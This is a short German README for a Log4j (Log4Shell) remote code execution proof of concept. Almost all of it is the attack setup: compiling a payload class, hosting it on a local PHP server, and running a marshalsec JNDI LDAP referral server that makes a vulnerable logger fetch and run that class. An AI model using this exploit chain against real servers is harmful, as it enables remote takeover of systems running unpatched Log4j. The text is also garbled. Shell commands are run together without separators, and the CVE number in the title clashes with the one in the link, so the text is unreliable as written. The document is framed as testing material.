
PoC RCE Log4j CVE-2021-4428 für Tests
Kompilieren Sie Log4jRCE.java und verschieben Sie die .class-Datei auf einen Webserver (z.B. lokales PHP)
cd src/main/javajavac Log4jRCE.javaphp -S 127.0.0.1:8888LDAP-Server starten
git clone [email protected]:Grupo-Kapa-7/marshalsec.gitcd marshalsecmvn clean package -DskipTestsjava -cp target/marshalsec-0.0.3-SNAPSHOT-GK7Threats-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE"Um die PoC zu testen, ändern Sie die Datei src/main/java/log4j.java und passen Sie die URL des LDAP-Servers nach Ihren Wünschen an.
https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce